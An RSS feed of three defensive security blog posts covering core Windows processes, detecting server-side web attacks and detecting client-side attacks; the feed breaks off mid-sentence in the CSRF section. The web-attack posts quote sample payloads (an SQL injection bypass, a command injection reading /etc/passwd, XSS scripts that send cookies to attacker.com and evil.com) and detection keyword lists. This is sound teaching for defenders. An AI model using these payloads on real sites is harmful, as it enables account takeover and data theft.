<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmad Khaled  on Medium]]></title>
        <description><![CDATA[Stories by Ahmad Khaled  on Medium]]></description>
        <link>https://medium.com/@ak877017?source=rss-c95418df8cc5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*SdPk_-MZpmJF2x-N</url>
            <title>Stories by Ahmad Khaled  on Medium</title>
            <link>https://medium.com/@ak877017?source=rss-c95418df8cc5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 07:22:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ak877017/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The core Processes of the Windows Operating System]]></title>
            <link>https://medium.com/@ak877017/the-core-process-of-the-windows-operating-system-ee458ed9b5fe?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee458ed9b5fe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Sat, 18 Apr 2026 12:12:33 GMT</pubDate>
            <atom:updated>2026-04-18T12:34:50.635Z</atom:updated>
            <content:encoded><![CDATA[<p>Understanding how the Windows operating system functions and how its core processes’ normal behavior is vital and can aid a defender in identifying unusual activity on the Windows endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*NP_ZE5WZ8dQxgJCnnhGZYQ.png" /></figure><p>Before starting discussing the Windows processes we have to know that Windows has two modes for the running processes:</p><ul><li><strong>User-mode processes</strong>: Windows assign a unique process to any regular application you run. This process provides a program a private virtual address space (This virtual space maps between the reading and writing operations done by a process and the actual physical space). Thus, each program and process has isolated memory space and can’t access or modify the virtual space of any other process or of the virtual space of operating system itself. Also, if any process crashes it won’t affect other process or the system (safer execution). Finally, a user mode process has limited access to the system resources (CPU, memory, disk) and uses system calls (APIs) to ask the kernel to do things.</li><li><strong>Kernel-mode processes</strong>: Kernel mode doesn’t usually run “processes” the same way user mode does. Instead, it runs Kernel threads, drivers, and Core OS components &amp; functions (Process scheduling, Memory management, and I/O operations). All kernel processes share the same virtual address space and have full and unrestricted access to the system’s hardware and memory. As a result, a kernel-mode driver isn’t isolated from other drivers or the operating system address space. So, if a kernel-mode driver mistakenly writes to the wrong virtual address, it could compromise data that belongs to the operating system or another driver. Also, if a kernel-mode driver crashes, it causes the entire operating system to crash.</li></ul><p>How User-mode and Kernel-mode processes work together:</p><blockquote><em>A user app application wants to read a file.<br>It </em><strong><em>cannot access disk directly</em></strong><em>.<br>It makes a </em><strong><em>system call</em></strong><em> to the kernel.<br>The kernel: Talks to the disk driver, Reads the data, and Returns it safely.</em></blockquote><p>Another thing we need to know about before we start our main topic is the Task manager:</p><p><strong>Task Manager</strong> is a built-in GUI-based Windows utility that allows users to see what is running on the Windows system. <br>It also provides information on resource usage, such as how much each process utilizes CPU and memory.<br>When a program is not responding, Task Manager is used to end (kill) the process.<br>Task manager can display the following information for each process:</p><ul><li>Application name.</li><li>Process type: Apps, Background process, or Windows process.</li><li>Process Publisher: The name of the author of the program/file.</li><li>Process Identifier Number (PID): Windows assigns a unique process identifier each time a program starts. If the same program has multiple running processes, each will have its unique process identifier (PID).</li><li>Process name: The file name of the process.</li><li>Command line: The full command used to launch the process (Binary).</li><li>CPU:<strong> </strong>The amount of CPU (processing power) the process uses.</li><li>Memory:<strong> </strong>The amount of physical working memory utilized by the process.</li></ul><p>Task Manager is a powerful built-in Windows utility but lacks certain important information when analyzing processes, such as <strong>parent process information.</strong> That is where other alternatives, such as <strong>Process Hacker</strong> and <strong>Process Explorer</strong>, come to the rescue.</p><p>Now Let’s start our main course:</p><p>1- <strong>System process</strong>:</p><p>A PID for any given process is assigned at random, but that is not the case for the System process. The PID for System process is always 4.</p><p>The System process:</p><blockquote><em>- Runs </em><strong><em>entirely in kernel mode.<br>- </em></strong><em>Hosts </em><strong><em>system threads.<br>- </em></strong><em>Executes core OS code (</em><em>ntoskrnl.exe) and device driver code (</em><em>.sysfiles).<br>- Managing hardware communication (via drivers).<br>- Handling I/O operations (disk, network, etc.).<br>- Running background kernel tasks.<br>- Supporting OS internals (memory, scheduling, etc.).</em></blockquote><p>The normal behavior for the System process:</p><blockquote><strong><em>- Image Path</em></strong><em>: N/A or </em><em>C:\\Windows\\system32\\ntoskrnl.exe (OS Kernel)<br>- </em><strong><em>Parent Process</em></strong><em>: None or System Idle Process (0)<br>- </em><strong><em>Number of Instances</em></strong><em>: One<br>- </em><strong><em>User Account</em></strong><em>: Local System<br>- </em><strong><em>Start Time</em></strong><em>: At boot time</em></blockquote><p>The unusual behavior:</p><blockquote><em>- A different parent process than System Idle Process (0).<br>- Multiple instances of System (Should only be one instance).<br>- A different PID than PID 4.<br>- Not running in Session 0</em></blockquote><p>2- <strong>Session Manager Subsystem</strong> (smss.exe):</p><p>Also known as the <strong>Windows Session Manager</strong>, smss.exe is responsible for creating new sessions. <br>It is the first user-mode process started by the kernel.<br>This process starts the kernel and user modes of the Windows subsystem which include:</p><blockquote><em>win32k.sys: A kernel mode driver that handles the Windows GUI system like mouse/keyboard input, Drawing applications’ windows and their management.</em></blockquote><blockquote><em>csrss.exe: Will be discussed below in detail.</em></blockquote><blockquote><em>winsrv.dll: A </em><em>.dll file (Dynamic Link Library) is a file that contains code and functions that other programs can use instead of rewriting them. In other words, a shared library that multiple programs can load and use at runtime. </em><em>Winsrv.dllis loaded in </em><em>csrss.exe and implements server-side logic for Console handling and Some system APIs (The brain of the </em><em>csrss.exe).</em></blockquote><p>Smss.exe starts csrss.exe (Windows subsystem) and wininit.exein Session 0, an isolated Windows session for the operating system, and csrss.exe and winlogon.exe for Session 1, which is the user session. The first child instance (smss.exe in Session 0) creates child instances in new sessions, done by smss.exe copying itself into the new session and self-terminate itself from Session 0. Any other subsystem listed in the Required value in the Windows Registry key HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\Subsystems) is also launched. smss.exe is also responsible for creating environment variables, virtual memory paging files and starts winlogon.exe (Windows Logon Manager).</p><p>The normal behavior of smss.exe:</p><blockquote><strong><em>- Image Path</em></strong><em>: </em><em>%SystemRoot%\\System32\\smss.exe<br>-</em><strong><em>Parent Process</em></strong><em>: System.<br>- </em><strong><em>Number of Instances</em></strong><em>: One master instance and child instance per session. The child instance exits after creating the session.<br>- </em><strong><em>User Account</em></strong><em>: Local System.<br>- </em><strong><em>Start Time</em></strong><em>: Within seconds of boot time for the master instance.</em></blockquote><p>The unusual behavior:</p><blockquote><em>- A different parent process other than System (4).<br>- The image path is different from </em><em>C:\\Windows\\System32<br>- More than one running process. (children self-terminate and exit after each new session).<br>- The running User is not the SYSTEM user.<br>- Unexpected registry entries for Subsystem.</em></blockquote><p>3- <strong>Client Server Runtime Process</strong> (csrss.exe):</p><p>A user-mode process that manages parts of the Windows subsystem and handles Console windows (CMD), Process/thread creation and deletion.<br>Pay attention that If you kill this process the Windows crashes (System failure).<br>Although it Runs in user mode, it has very high privileges that’s whay it is critical to the system.<br>This process is also responsible for making the Windows API available to other processes, mapping drive letters, and handling the Windows shutdown process.</p><p><strong>Note</strong>: Recall that csrss.exe and winlogon.exe are called from smss.exe at startup for Session 1.</p><p>Normal behavior ofcsrss.exe:</p><blockquote><strong><em>- Image Path</em></strong><em>:</em><em>%SystemRoot%\\System32\\csrss.exe<br></em><strong><em>- Parent Process</em></strong><em>: Created by an instance of </em><em>smss.exe<br></em><strong><em>- Number of Instances</em></strong><em>: Two or more.<br>- </em><strong><em>User Account</em></strong><em>: Local System.<br>- </em><strong><em>Start Time</em></strong><em>: Within seconds of boot time for the first two instances (for Session 0 and 1). Start times for additional instances occur as new sessions are created, although only Sessions 0 and 1 are often created.</em></blockquote><p>The unusual behavior:</p><blockquote><em>- An actual parent process. (</em><em>smss.exe calls this process and self-terminates).<br>- Image file path other than </em><em>C:\\Windows\\System32<br>- Misspellings to hide rogue processes masquerading as csrss.exe in plain sight like (</em><em>crss.exe or </em><em>csrs.exe). <br>- The user is not the SYSTEM user.</em></blockquote><p>4- <strong>Windows Initialization Process</strong> (wininit.exe):</p><p>Runs during the <strong>early boot stage of Windows</strong>. When the kernel loads. wininit.exe is responsible for starting key system components that Windows needs to function like: Starting the <strong>Service Control Manager</strong> services.exe, starting the <strong>Local Security Authority</strong> lsass.exeand <strong>LSA Isolated</strong> lsaiso.exe. In addition, it initializes background system infrastructure. Without it, Windows cannot properly start.</p><p><strong>Note</strong>, lsaiso.exe runs only when a feature called <strong>Credential Guard and KeyGuard</strong> is enabled which is also used to:</p><ul><li>Protect <strong>user credentials</strong> (passwords, hashes, Kerberos tickets)</li><li>Isolate sensitive data from the rest of the system</li><li>Prevent credential theft attacks (like pass-the-hash)</li></ul><p>The normal behavior of winint.exe:</p><blockquote><strong><em>- Image Path</em></strong><em>: </em><em>%SystemRoot%\\System32\\wininit.exe<br></em><strong><em>- Parent Process</em></strong><em>: Created by an instance of </em><em>smss.exe<br></em><strong><em>- Number of Instances</em></strong><em>: One.<br></em><strong><em>- User Account</em></strong><em>: Local System.<br></em><strong><em>- Start Time</em></strong><em>: Within seconds of boot time.</em></blockquote><p>The unusual behavior:</p><blockquote><em>- An actual parent process. (smss.exe calls this process and self-terminates).<br>- Image file path other than C:\Windows\System32.<br>- Misspellings to hide rogue processes.<br>- Multiple running instances.<br>- Not running as SYSTEM</em></blockquote><p>5- <strong>Service Control Manager (SCM) or</strong> (services.exe<strong>):</strong></p><p>It acts like a central manager that controls background services (Windows services). It is also responsible for:</p><ul><li>Starting services when Windows boots.</li><li>Stopping services during shutdown.</li><li>Monitoring service status (running, stopped, paused).</li><li>Handling service dependencies (service A needs service B).</li><li>Restarting services if they crash (if configured).</li></ul><p>It maintains a registry that acts like a database of services and their information. This registry is stored in, HKLM\\System\\CurrentControlSet\\Services and can be queried using a Windows built-in utility sc.exe. This process also loads device drivers marked as auto-start into memory.</p><p>When a user logs into a machine successfully, this process is responsible for setting the value of the Last Known Good control set (Last Known Good Configuration) stored in HKLM\\System\\Select\\LastKnownGood, to the value of the CurrentControlSet.</p><p>Finally, this process is the parent to several other key processes: svchost.exe, spoolsv.exe, msmpeng.exe, and dllhost.exe, and many more.</p><p>The normal behavior of <strong>services.exe:</strong></p><blockquote><strong><em>- Image Path</em></strong><em>: </em><em>%SystemRoot%\\System32\\services.exe<br></em><strong><em>- Parent Process</em></strong><em>: </em><em>wininit.exe<br></em><strong><em>- Number of Instances</em></strong><em>: One.<br></em><strong><em>- User Account</em></strong><em>: Local System.<br></em><strong><em>- Start Time</em></strong><em>: Within seconds of boot time</em></blockquote><p>The unusual behavior:</p><blockquote><em>- A parent process other than </em><em>wininit.exe<br>- Image file path other than </em><em>C:\\Windows\\System32<br>- Misspellings to hide rogue processes. <br>- Multiple running instances.<br>- Not running as SYSTEM</em></blockquote><p>6- <strong>Service host</strong> (svchost.exe):</p><p>It is responsible of hosting and managing a group of background Windows services. These services are implemented as .dll files not .exe ones. The DLL to implement is stored in the registry for the service under the Parameters subkey in ServiceDLLfile and the full path is HKLM\\SYSTEM\\CurrentControlSet\\Services\\&lt;SERVICE NAME&gt;\\Parameters. The binary path that is used to legitimately launching the svchost.exe from the bash is C:\\Windows\\System32\\svchost.exe -k &lt;group name&gt; where -k is the identifier to the &lt;group name&gt; is a logical group label that indicates the services that share the same processes.</p><p><strong>Note,</strong> On machines running more than 3.5 GB of memory, each service will run its own process.</p><p>Since svchost.exe will always have multiple running processes on any Windows system, this process has been a target for malicious use. Adversaries create malware to masquerade as this process and try to hide amongst the legitimate svchost.exe processes. They can name the malware svchost.exe or misspell it slightly, such as scvhost.exe. Another tactic is to install/call a malicious service (DLL).</p><p>The normal behavior of svchost.exe:</p><blockquote><strong><em>- Image Path</em></strong><em>: </em><em>%SystemRoot%\\System32\\svchost.exe<br></em><strong><em>- Parent Process</em></strong><em>: </em><em>services.exe<br></em><strong><em>- Number of Instances</em></strong><em>: Many<br>- </em><strong><em>User Account</em></strong><em>: Varies (SYSTEM, Network Service, Local Service) depending on the </em><em>svchost.exe instance. In Windows 10, some instances run as the logged-in user.<br></em><strong><em>- Start Time</em></strong><em>: Typically within seconds of boot time. Other instances of svchost.exe can be started after boot.</em></blockquote><p>The Unusual behavior:</p><blockquote><em>- A parent process other than </em><em>services.exe<br>- Image file path other than </em><em>C:\\Windows\\System32<br>- Misspellings to hide rogue processes.<br>- The absence of the </em><em>-k parameter</em></blockquote><p>7- <strong>Local Security Subsystem</strong> (lsass.exe):</p><p>The Microsoft Windows operating system’s process that is responsible for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens. It also writes to the Windows Security Log”. The created security tokens for SAM (Security Account Manager), AD (Active Directory), and NETLOGON. It uses authentication packages specified in HKLM\\System\\CurrentControlSet\\Control\\Lsa.</p><p>Lsass.exe is another process adversaries target. Common tools such as <strong>mimikatz</strong> are used to dump credentials, or adversaries mimic this process to hide in plain sight (by either naming their malware by this process name or simply misspelling the malware slightly).</p><p>The normal behavior of lsass.exe:</p><blockquote><strong><em>- Image Path</em></strong><em>: </em><em>%SystemRoot%\\System32\\lsass.exe<br></em><strong><em>- Parent Process</em></strong><em>: </em><em>wininit.exe<br></em><strong><em>- Number of Instances</em></strong><em>: One.<br></em><strong><em>- User Account</em></strong><em>: Local System.<br>- </em><strong><em>Start Time</em></strong><em>: Within seconds of boot time.</em></blockquote><p>The unusual behavior:</p><blockquote><em>- A parent process other than </em><em>wininit.exe<br>- Image file path other than </em><em>C:\\Windows\\System32<br>- Misspellings to hide rogue processes.<br>- Multiple running instances<br>- Not running as SYSTEM</em></blockquote><p>8- <strong>Windows logon </strong>(winlogon.exe):</p><p>It is the process that is responsible for handling user logon and secure authentication events. It is also responsible for handling the <strong>Secure Attention Sequence</strong> ”SAS” (the ALT+CTRL+DELETE key combination users press to enter their username &amp; password).</p><p>It launches the userinit.exe** , which is a legitimate Windows system process that runs when a user logs in.</p><p>It also does:</p><ul><li>Initialization of the <strong>user session environment.</strong></li><li>Running logon scripts.</li><li>Restoring network connections.</li><li>Starting the user’s shell (explorer.exe).</li><li>Finally it terminates itself.</li></ul><p>The normal behavior of winlogon.exe:</p><blockquote><strong><em>- Image Path</em></strong><em>: </em><em>%SystemRoot%\\System32\\winlogon.exe<br></em><strong><em>- Parent Process</em></strong><em>: Created by an instance of </em><em>smss.exe that self terminates, so analysis tools usually do not provide the parent process name.<br></em><strong><em>- Number of Instances</em></strong><em>: One or more<br></em><strong><em>- User Account</em></strong><em>: Local System<br></em><strong><em>- Start Time</em></strong><em>: Within seconds of boot time for the first instance (for Session 1). Additional instances occur as new sessions are created, typically through Remote Desktop or Fast User Switching logons.</em></blockquote><p>The unusual behavior:</p><blockquote><em>- An actual parent process. (</em><em>smss.exe calls this process and self-terminates).<br>- Image file path other than </em><em>C:\\Windows\\System32<br>- Misspellings to hide rogue processes.<br>- Not running as SYSTEM. <br>- Shell value in the registry other than </em><em>explorer.exe</em></blockquote><p>9- <strong>Windows Explorer </strong>(explorer.exe):</p><p>It is the Windows shell. It is responsible for displaying and managing the user interface. It is the process that gives the user access to their folders and files. It also provides other features, such as the Start Menu and Taskbar.</p><p>The winlogon.exe process runs userinit.exe, which launches the Shell value in HKLM\\Software\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\\Shell. userinit.exe exits after spawning explorer.exe. Because of this, the parent process is non-existent. There will be many child processes for explorer.exe.</p><p>The normal behavior of explorer.exe:</p><blockquote><strong><em>- Image Path</em></strong><em>: </em><em>%SystemRoot%\\explorer.exe<br></em><strong><em>- Parent Process</em></strong><em>: Created by </em><em>userinit.exe and exits.<br></em><strong><em>- Number of Instances</em></strong><em>: One or more per interactively logged-in user.<br></em><strong><em>- User Account</em></strong><em>: Logged-in user(s).<br></em><strong><em>- Start Tim</em></strong><em>e: First instance when the first interactive user logon session begins.</em></blockquote><p>The unusual behavior:</p><blockquote><em>- An actual parent process. (</em><em>userinit.exe calls this process and exits).<br>- Image file path other than </em><em>C:\\Windows<br>- Running as an unknown user.<br>- Subtle misspellings to hide rogue processes in plain sight.<br>- Outbound TCP/IP connections.</em></blockquote><p>Thanks….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee458ed9b5fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting Web attacks: Common Server-Side attacks, How to detect and prevent them]]></title>
            <link>https://medium.com/@ak877017/detecting-web-attacks-common-server-side-attacks-how-to-detect-and-prevent-them-454a519d99dd?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/454a519d99dd</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[detecting-web-attacks]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 02:41:59 GMT</pubDate>
            <atom:updated>2026-04-02T02:41:59.658Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Server-Side</strong> attacks rely on exploiting vulnerabilities within a web server like the application’s code, or the backend that supports a website or a web application.</p><p>In other words they focus on taking advantage of the systems, by exploiting flaws and vulnerabilities, server logic, misconfigurations, or input mishandling.</p><p>Attackers can gain access, steal information, and cause damage to running services.</p><p>This article will discuss the most common Server-Side attacks, How to detect and prevent them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cnhUR8szLy35uo7_LFXong.png" /></figure><p>Before we start just imagine with me. Your favorite website is most likely filled with forms that allow user input (login forms that accept a username or password, or search forms to search for past orders or specific products). If the website mishandles the input from just one of these forms, this vulnerability could allow an attacker to access sensitive customer or financial information stored in the backend database.</p><p>One advantage for defenders when dealing with server-side attacks is that they leave a trail of evidence. Every web request sent to an application is processed by the server and is recorded in logs or other monitoring systems. These requests also travel across the network, meaning network traffic can reveal suspicious behavior.</p><p>Now Let’s start:</p><p>Types of common Server-Side attacks and how to detect them:</p><p><strong>Brute-force</strong> attacks: They Occur when an attacker repeatedly tries different usernames or passwords in an attempt to gain unauthorized access to an account.<br>Automated tools are often used to send these requests quickly, allowing attackers to go through large lists of credentials and common passwords.</p><ul><li>How to detect Brute-force attacks:</li></ul><blockquote><em>Log-based detection: Security analysts analyze Web server and </em><strong><em>authentication logs</em></strong><em> and look for:<br>- Many </em><strong><em>failed login attempts<br>- </em></strong><em>Same </em><strong><em>source IP<br>- </em></strong><em>Short </em><strong><em>time interval</em></strong></blockquote><blockquote><em>Network-based detection: Security analysts using tools like </em><strong><em>Wireshark</em></strong><em>, </em><strong><em>Zeek</em></strong><em>, or </em><strong><em>Snort</em></strong><em> and look for the following:<br>- High number of authentication requests<br>- Same IP sending repeated requests<br>- Same username repeatedly used</em></blockquote><blockquote><em>WAF detection: Through the following indicators:<br>- Too many login attempts<br>- Automated request patterns<br>- Rate limit violations</em></blockquote><ul><li>How to prevent Brute-force attacks:</li></ul><blockquote><em>- Account Lockout after several failed login attempts (usually 5 attempts in a minute) which prevents automated guessing.</em></blockquote><blockquote><em>- Rate Limiting: Limit how many login attempts can occur in a short time. Ex. on a WAF rule: </em><em>Allow only 5 login requests per minute per IP</em></blockquote><blockquote><em>- Multi-Factor Authentication (MFA): a second verification step like SMS code, Authentication app, or even a Hardware token. So, Even if the password is guessed, access is denied.</em></blockquote><blockquote><em>- Use CAPTCHA after multiple login attempts which stops automated bots.</em></blockquote><blockquote><em>- Strong Password Policy (Of course).</em></blockquote><p><strong>SQL Injection</strong> (SQLi): Depends on attacking the database that sits behind a website and occurs when attackers insert malicious SQL code into input fields and applications build queries through string concatenation instead of using parameterized queries, allowing attackers to alter the intended command and access or manipulate data.</p><blockquote><em>Ex., An attacker types this in a login form:<br></em><em>username: admin <br>password: &#39; OR 1=1 --<br>and this input is translated into the following SQL query:</em><em>SELECT * FROM users WHERE username = &#39;admin&#39; AND password = &#39;&#39; OR 1=1 --&#39;;<br>and since 1=1 is always true then the both conditions will be true and there will be an authentication bypass to the admin’s account.</em></blockquote><ul><li>How to detect SQL injection attacks:</li></ul><blockquote><em>Log-based detection: Security analysts can analyze the Web server logs or the authentication logs and look for Suspicious SQL keywords like:<br></em><em>OR, 1=1, UNION SELECT, DROP, TABLE, --</em></blockquote><blockquote><em>Network-based detection: Security analysts using tools like </em><strong><em>Wireshark</em></strong><em>, </em><strong><em>Zeek</em></strong><em>, or </em><strong><em>Snort</em></strong><em> and look for the following:<br>- SQL keywords in HTTP parameters.<br>- Encoded injection payloads like </em><em>%27%20OR%201%3D1%20 instead of </em><em>&#39; OR 1=1</em></blockquote><blockquote><em>WAF detection: Also through SQL patterns.</em></blockquote><ul><li>How to prevent SQLi attacks:</li></ul><blockquote><em>- Use Prepared Statements (Parameterized Queries): Ex., </em><em>cursor.execute(&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;, (username, password))So, both username and password will be passed to this python code and the SQL will treat them as data not a code.</em></blockquote><blockquote><em>- Input Validation: Only allow expected input (letters and numbers only), and reject input containing </em><em>&#39; -- ; UNION SELECT</em></blockquote><blockquote><em>- Least Privilege Database Access: The web application database user should </em><strong><em>not have admin privileges.</em></strong><em> In other words, they only can use </em><em>SELECT, INSERTcommands and not use commands like </em><em>DROP TABLE, ALTER TABLE</em></blockquote><blockquote><em>- Web Application Firewall Protection: Detect SQLi patterns and block them</em></blockquote><p><strong>Command Injection</strong>: Occurs when a website takes user input and passes it to the system without checking it. So, attackers can sneak in commands to be executed on the server like system commands. Ex., On a Web application an attacker input 127.0.0.1; cat /etc/passwd,so the request will be passed to the Web application like GET /ping?ip=127.0.0.1;cat /etc/passwdand will be executed on the Apache web server as ping 127.0.0.1; cat /etc/passwd . So, the attacker can retrieve the user accounts information file of the server.</p><ul><li>How to detect Command injection attacks:</li></ul><blockquote><em>Log-based detection: A security analyst can analyze the Web server logs or the Web application logs and look for:<br>- Suspicious characters like: </em><em>; | &amp; `` $<br>- Operating system’s commands like: </em><em>cat - ls - whoami</em></blockquote><blockquote><em>Network-based detection: Security analysts can also look for:<br>- OS commands in URL parameters<br>- Command separators.</em></blockquote><blockquote><em>WAF detection: Using the same previous indicators.</em></blockquote><ul><li>How to prevent Command injection attacks:</li></ul><blockquote><em>- Avoid System Command Execution: Do not use system() or exec() with user input.</em></blockquote><blockquote><em>- Input Whitelisting: Only allow valid characters (alphabets and numbers) and discard the rest.</em></blockquote><blockquote><em>- Escape Special Characters: Use secure escaping functions with user input like</em><em>escapeshellarg()</em></blockquote><p>Thanks for the reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=454a519d99dd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting Web Attacks: Common Client-Side attacks and How to detect them.]]></title>
            <link>https://medium.com/@ak877017/detecting-web-attacks-common-client-side-attacks-and-how-to-detect-them-b77459df1527?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/b77459df1527</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[detecting-web-attacks]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Sat, 28 Mar 2026 18:11:43 GMT</pubDate>
            <atom:updated>2026-03-28T18:11:43.098Z</atom:updated>
            <content:encoded><![CDATA[<p>The main purpose of Client-Side attacks is to abuse weaknesses in user behavior or on the user’s device, exploiting vulnerabilities in browsers, or even tricking the user into performing malicious actions to gain access to accounts or to steal sensitive information.</p><p>Valuable data can be stored on a user’s device, so a successful client-side attack can result in a massive data loss.</p><p>Integrating third-party associates within web services can result in increasing the attack surface in browsers, and opening more opportunities for client-side attacks.</p><p>The tools available to an analyst, such as server-side logs and network traffic captures, offer little to no visibility into what occurs inside a user’s browse and client-side attacks occur on the user’s system which implies that adversaries can execute malicious code, steal information, or manipulate the environment without generating suspicious HTTP requests or network traffic that the SOC can see.</p><p>So, detecting these attacks from a SOC perspective is often difficult or even impossible without additional browser-side security controls or endpoint monitoring.</p><p>This article will focus on three of the most common Web Client-Side attacks; <strong>Cross-Site Scripting (XSS), Cross-Site Request Forgery</strong> <strong>(CSRF)</strong>, and <strong>Clickjacking.</strong></p><p>The article will also discuss how to detect these attacks using <strong>Log-Based detection</strong>, <strong>Network-Based detection</strong>, and <strong>Web Application Firewall (WAF) </strong>techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_odmdUcyovCISMz-LxoUxw.png" /></figure><p>Before starting we need to know that each of the to be discussed detection methods has some limitations, so it is important to make use of all the methods simultaneously and not to overly totally on one detection method. We will discuss some if these limitations:</p><p>Log-Based Detection limitations:</p><ul><li>Benign traffic makes up the vast majority of log entries, so suspicious traffic will be blended in these traffic making it hard to be spotted.</li><li>Logs not always capture the full contents of a request (the body of POST or GET requests) that contains the submitted credentials.</li></ul><p>Network-Based Detection Limitations:</p><ul><li>Although Network traffic analysis allows analysts to examine the raw data exchanged between a client and a server, protocols that rely on encryption, like HTTPS and SSH, limit what can be seen in packet payloads without access to the decryption keys.</li></ul><p>Detection using WAF:</p><ul><li>High False Positives: So, a WAF can block <strong>legitimate traffic </strong>if it isn’t configure properly.</li></ul><p>Now Let’s start our main topic…..</p><p><strong>Cross-Site Scripting</strong> (XSS): The most common client-side attack.</p><p>Attackers can use XSS to inject malicious JavaScript into a web application, and then the script gets executed in other users’ browsers.</p><p>If your website has a comment box that doesn’t filter input, an attacker could post a comment like:Hello &lt;script&gt;alert(&#39;You have been hacked&#39;);&lt;/script&gt;. So, When visitors load the page, the script runs inside their browser, and the pop-up appears.</p><p>Instead of a harmless pop-up attackers can:</p><ul><li><strong>Steal Session cookies </strong>that leads to <strong>account takeover</strong> and performing actions pretending to be a legitimate user.</li><li>Perform <strong>Keylogging</strong> that leads to capturing passwords credintials.</li><li><strong>Deface pages</strong> (unauthorized modification of a website’s content).</li><li><strong>Redirect</strong> users to <strong>phishing sites</strong>.</li></ul><p>Types of XSS:</p><blockquote><strong><em>Reflected XSS</em></strong><em>: Payloads come from the request and are immediately reflected in the response. Ex., </em><em>https://example.com/search?q=&lt;script&gt;alert(1)&lt;/script&gt;. So, when the user clicks on a malicious link with injected payload, the server executes the input script, and the browser reflects the script result.</em></blockquote><blockquote><strong><em>Stored XSS (Persistent)</em></strong><em>: Payloads are injected in (comments, profiles, etc.) and then got stored in database. So, every user visits the website gets attacked. Ex., </em><em>&lt;script&gt;fetch(&#39;&lt;http://attacker.com/steal?cookie=&#39;+document.cookie&gt;)&lt;/script&gt;</em></blockquote><blockquote><strong><em>DOM-Based XSS</em></strong><em>: Happens totally on the client’s browser. The attacker executes a malicious code on the victim’s browser by sending a malicious link that the vulnerable site’s JavaScript processes and executes automatically, so the code doesn’t interact with the site’s web server and the web browser thinks of it is a part of the site itself.</em></blockquote><p>How to detect XSS attacks:</p><blockquote><strong><em>Log-based detection: </em></strong><em>In order to analyze logs you can:</em></blockquote><blockquote><em>Look in: Web server logs, Web Application logs, Reverse proxy logs.</em></blockquote><blockquote><em>Look for:</em></blockquote><blockquote><em>- Script Injection Patterns (raw JavaScript):</em> &lt;script&gt;….&lt;/script&gt;</blockquote><blockquote><em>- Event Handlers (not using &lt;script&gt; and using HTML events events): </em>onerror=<em>… or </em>onload=<em>… or </em>onclick<em>=…</em></blockquote><blockquote><em>- JavaScript Protocol Abuse: Finding </em>javascript:<em> in the URL.</em></blockquote><blockquote><em>- Encoded Payloads to bypass filters: </em>%3C<em> → &lt; or </em>%3E<em> → &gt; or </em>%22<em> → “</em></blockquote><blockquote><strong><em>Network-based detection</em></strong><em>: Using IDS (Snort, Suricata) and Looking for:</em></blockquote><blockquote><em>- Malicious Payload in Requests </em>&lt;script&gt;fetch(‘http://evil.com/&#39;+document.cookie)&lt;/script&gt; <em>Here you can find exfiltration attempt to </em>document.cookie</blockquote><blockquote><em>- Suspicious Headers: Attack tools often send no User-Agent, fake, or automated agents like: </em>sqlmap<em>, </em>curl<em>.</em></blockquote><blockquote><em>- Network-based also can be used to detect: Unexpected outbound traffic and Suspicious domains.</em></blockquote><blockquote><strong><em>WAF detection</em></strong><em> (Cloudflare WAF, AWS WAF) : Sits in front of your app and inspects every request in order to:</em></blockquote><blockquote><em>- Match signatures: </em>&lt;script&gt;<em>,</em> onload=<em> , etc.</em></blockquote><blockquote><em>- Normalization: WAF decodes URL encoding, and HTML encoding.</em></blockquote><blockquote><em>- Identify unexpected outbound traffic and Suspicious domains.</em></blockquote><p><strong>Cross-Site Request Forgery</strong> (CSRF): An attack where a victim’s browser is tricked into sending a legitimate request to a web application without the user’s intent.</p><p>An attacker can use CSRF to:</p><ul><li>Change password/email or modify a user’s data.</li><li>Transfer money on behalf of the user.</li><li>Perform admin actions.</li></ul><p>Detecting CSRF attacks is harder because:</p><ul><li>Requests look legitimate</li><li>They come from real users</li><li>They include valid session cookies</li></ul><p>So detection relies on context and anomalies, not payloads.</p><p>How to detect CSRF attacks:</p><blockquote><strong><em>Log-based detection: </em></strong><em>An analyst can look for:</em></blockquote><blockquote><em>- Sensitive Actions via GET Requests: State-changing action (money transfer) using GET 